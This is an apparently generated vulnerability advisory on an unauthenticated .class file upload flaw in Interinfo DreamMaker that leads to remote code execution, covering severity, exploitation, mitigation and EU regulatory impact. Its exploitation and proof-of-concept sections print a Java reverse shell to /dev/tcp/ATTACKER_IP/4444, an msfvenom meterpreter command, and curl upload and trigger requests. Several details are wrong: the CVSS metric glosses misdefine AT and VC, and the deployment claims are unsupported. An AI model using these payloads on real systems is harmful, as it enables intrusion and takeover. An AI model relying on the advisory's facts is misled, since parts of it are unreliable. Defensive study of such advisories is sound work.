Comprehensive Technical Analysis of EUVD-2026-5017 (CVE-2026-24729)

Interinfo DreamMaker Unrestricted File Upload Vulnerability Leading to Remote Code Execution (RCE)

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Classification

• Type: Unrestricted File Upload with Dangerous Type (CWE-434)
• Subtype: Arbitrary Code Execution via Malicious Class File Upload
• Impact: Remote Code Execution (RCE) with full system compromise

CVSS v4.0 Severity Analysis

The vulnerability has been assigned a CVSS v4.0 Base Score of 10.0 (Critical), with the following vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

• Attack Vector (AV:N): Exploitable remotely over a network (no physical/logical access required).
• Attack Complexity (AC:L): Low complexity; no special conditions required.
• Attack Requirements (AT:N): No user interaction or prior access needed.
• Privileges Required (PR:N): No authentication required (unauthenticated attacker).
• User Interaction (UI:N): No user interaction required.
• Vulnerable Component (VC:H): High impact on the vulnerable component (DreamMaker).
• Vulnerable System Integrity (VI:H): Complete integrity compromise (arbitrary code execution).
• Vulnerable System Availability (VA:H): Complete availability impact (system takeover).
• Subsequent Confidentiality (SC:H), Integrity (SI:H), Availability (SA:H): Full compromise of downstream systems.

Severity Justification

• Exploitation Simplicity: The vulnerability allows unauthenticated attackers to upload malicious files (e.g., .class files) without restrictions, leading to RCE.
• Impact Scope: Successful exploitation grants full control over the affected system, enabling lateral movement, data exfiltration, or further attacks on connected infrastructure.
• Widespread Risk: DreamMaker is a widely used enterprise content management system (CMS) in European SMEs and government sectors, increasing the potential attack surface.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Workflow

1. Reconnaissance:

   • Attacker identifies a vulnerable DreamMaker instance (version < 2025/10/22) via HTTP headers, error messages, or version disclosure.
   • Example:

     GET /dreammaker/version HTTP/1.1
     Host: target.example.com
     

2. Malicious File Upload:

   • The attacker crafts a Java .class file containing malicious bytecode (e.g., a reverse shell payload).
   • The file is uploaded via the vulnerable file upload function (e.g., /upload, /api/media).
   • Example exploit request:

     POST /dreammaker/upload HTTP/1.1
     Host: target.example.com
     Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
     
     ------WebKitFormBoundary
     Content-Disposition: form-data; name="file"; filename="exploit.class"
     Content-Type: application/octet-stream
     
     <MALICIOUS_BYTECODE>
     ------WebKitFormBoundary--
     

3. Triggering Code Execution:

   • The attacker forces the server to load the malicious .class file (e.g., via a deserialization flaw, dynamic class loading, or reflection).
   • Example payload (Java-based RCE):

     public class Exploit {
         static {
             try {
                 Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1");
             } catch (Exception e) {}
         }
     }
     

   • The server executes the payload, establishing a reverse shell or performing arbitrary commands.

4. Post-Exploitation:

   • Attacker escalates privileges (if not already root/admin).
   • Maintains persistence (e.g., cron jobs, backdoors).
   • Exfiltrates data or moves laterally within the network.

Alternative Exploitation Paths

• Polyglot Files: Uploading a file that is both a valid .class and another executable format (e.g., .jar, .war) to bypass weak file type checks.
• Deserialization Gadgets: If DreamMaker uses Java deserialization, attackers may chain this with known gadgets (e.g., Apache Commons Collections).
• Web Shell Deployment: Uploading a .jsp or .php file (if the server supports multiple runtimes) to maintain persistence.

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: Interinfo DreamMaker (Enterprise CMS)
• Vendor: Internet Information Co., Ltd.
• Affected Versions: All versions prior to 2025/10/22 (exact versioning may vary; confirm via vendor advisories).
• ENISA Product ID: 9f23113b-811e-3556-a436-73d748cab958
• ENISA Vendor ID: 65226c81-5203-3cb2-a948-41ac05d76f06

Deployment Contexts

• Enterprise Web Portals: Used for document management, intranet portals, and collaboration.
• Government & Healthcare: Deployed in EU public sector and regulated industries (e.g., GDPR-compliant data handling).
• E-Commerce Platforms: Integrated with payment gateways, increasing financial risk.

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Apply Vendor Patch:

   • Upgrade to DreamMaker version 2025/10/22 or later (confirm via ZUSO Advisory).
   • If no patch is available, apply temporary workarounds (see below).

2. Temporary Workarounds:

   • Disable File Uploads: Restrict upload functionality via configuration or WAF rules.
   • File Type Restrictions:
     • Whitelist allowed file extensions (e.g., .pdf, .jpg).
     • Block .class, .jar, .war, .jsp, .php, .exe, .sh.
   • File Content Validation:
     • Use magic bytes (file signatures) to verify file types.
     • Implement sandboxed file processing (e.g., convert uploads to PDFs before storage).
   • Network-Level Protections:
     • Deploy a Web Application Firewall (WAF) (e.g., ModSecurity, Cloudflare) with rules to block malicious uploads.
     • Example WAF rule (ModSecurity):

       SecRule FILES_TMPNAMES "@inspectFile /path/to/scan_script.sh" \
         "id:1001,log,deny,status:403,msg:'Malicious file upload detected'"
       

3. Isolation & Segmentation:

   • Run DreamMaker in a containerized environment (e.g., Docker) with minimal privileges.
   • Segment the application from internal networks using VLANs or firewalls.

Long-Term Remediation

1. Secure Development Practices:

   • Input Validation: Enforce strict file type checks (extension + content).
   • Output Encoding: Sanitize all file outputs to prevent XSS or injection.
   • Least Privilege: Run the application with minimal OS permissions.
   • Dependency Scanning: Use tools like OWASP Dependency-Check to identify vulnerable libraries.

2. Runtime Protections:

   • Java Security Manager: Enable to restrict class loading and file operations.
   • Application-Level Sandboxing: Use GraalVM or Quarkus for secure Java execution.

3. Monitoring & Detection:

   • File Integrity Monitoring (FIM): Alert on unexpected .class or .jar file creations.
   • SIEM Integration: Correlate upload events with suspicious process executions (e.g., java -jar).
   • Endpoint Detection & Response (EDR): Monitor for unusual child processes (e.g., bash, powershell).

4. Incident Response Planning:

   • Develop a playbook for RCE incidents (e.g., containment, forensic analysis, recovery).
   • Conduct red team exercises to test defenses against file upload exploits.

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5. Impact on the European Cybersecurity Landscape

Sector-Specific Risks

Sector	Potential Impact
Government	Breach of sensitive data (e.g., citizen records, classified documents).
Healthcare	Violation of GDPR (fines up to 4% of global revenue), patient data exposure.
Financial Services	Theft of payment data, fraud, or disruption of banking services.
Critical Infrastructure	Disruption of energy, transport, or telecom services via lateral movement.
SMEs	Ransomware deployment, intellectual property theft, or supply chain attacks.

Regulatory & Compliance Implications

• GDPR (EU 2016/679): Unauthorized access to personal data triggers mandatory breach notifications and potential fines.
• NIS2 Directive (EU 2022/2555): Critical infrastructure operators must report incidents within 24 hours.
• DORA (Digital Operational Resilience Act): Financial entities must ensure resilience against such vulnerabilities.

Threat Actor Motivations

• Cybercriminals: Deploy ransomware (e.g., LockBit, BlackCat) or steal data for extortion.
• State-Sponsored Actors: Espionage (e.g., APT29, Sandworm) targeting government or defense sectors.
• Hacktivists: Defacement or data leaks for political motives (e.g., Anonymous, Killnet).

Geopolitical Considerations

• EU Cyber Resilience Act (CRA): Future regulations may mandate vulnerability disclosure and patch management for vendors.
• Cross-Border Collaboration: ENISA and CERT-EU may issue joint advisories for critical vulnerabilities.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path:

  • DreamMaker’s file upload handler fails to validate file types beyond extension checks.
  • The application dynamically loads .class files without verifying their origin or content.
  • Example vulnerable Java snippet:

    // Unsafe file upload handling
    public void handleUpload(MultipartFile file) {
        String filename = file.getOriginalFilename();
        if (filename.endsWith(".class")) {  // Weak check (only extension)
            file.transferTo(new File("/uploads/" + filename));
            // Later loaded via ClassLoader (RCE vector)
        }
    }
    

• Exploitation Prerequisites:

  • Attacker must know the upload endpoint (e.g., /api/upload).
  • The server must execute Java bytecode (e.g., via ClassLoader.loadClass()).

Proof-of-Concept (PoC) Exploitation

1. Generate Malicious .class File:

   msfvenom -p java/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw > exploit.class
   

2. Upload via cURL:

   curl -X POST -F "file=@exploit.class" http://target.example.com/dreammaker/upload
   

3. Trigger Execution:
   • If the server loads the class dynamically (e.g., via reflection), the payload executes.
   • Example trigger:

     GET /dreammaker/load?class=exploit HTTP/1.1
     Host: target.example.com
     

Detection & Forensics

• Log Indicators:
  • Unusual .class file uploads in web server logs (e.g., Apache, Nginx).
  • Java process spawning unexpected child processes (e.g., bash, nc).
• Memory Forensics:
  • Use Volatility or Rekall to analyze Java heap dumps for malicious class loading.
• Network Forensics:
  • Inspect HTTP POST requests to upload endpoints for large binary payloads.

Advanced Mitigation Techniques

• Java-Specific Defenses:
  • Disable Dynamic Class Loading: Set java.system.class.loader to a secure implementation.
  • Use a Secure ClassLoader: Override ClassLoader to enforce whitelisting.
• Container Hardening:
  • Run DreamMaker in a gVisor or Kata Containers sandbox.
  • Apply seccomp profiles to restrict syscalls (e.g., execve).
• Runtime Application Self-Protection (RASP):
  • Deploy Contrast Security or Hdiv to monitor and block malicious class loading.

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Conclusion & Recommendations

EUVD-2026-5017 represents a critical RCE vulnerability with severe implications for European organizations. Given its CVSS 10.0 score, unauthenticated exploitation, and widespread deployment, immediate action is required:

1. Patch Immediately: Upgrade to the latest DreamMaker version.
2. Implement Workarounds: Restrict file uploads and enforce strict validation.
3. Monitor & Detect: Deploy EDR, WAF, and SIEM rules to identify exploitation attempts.
4. Prepare for Incident Response: Assume breach and test containment procedures.

Security teams should prioritize this vulnerability in their patch management cycles and conduct threat hunting to identify potential compromises. Given the GDPR and NIS2 implications, organizations must ensure compliance with breach notification requirements.

For further details, refer to the ZUSO Advisory (ZA-2026-02) and ENISA’s vulnerability database.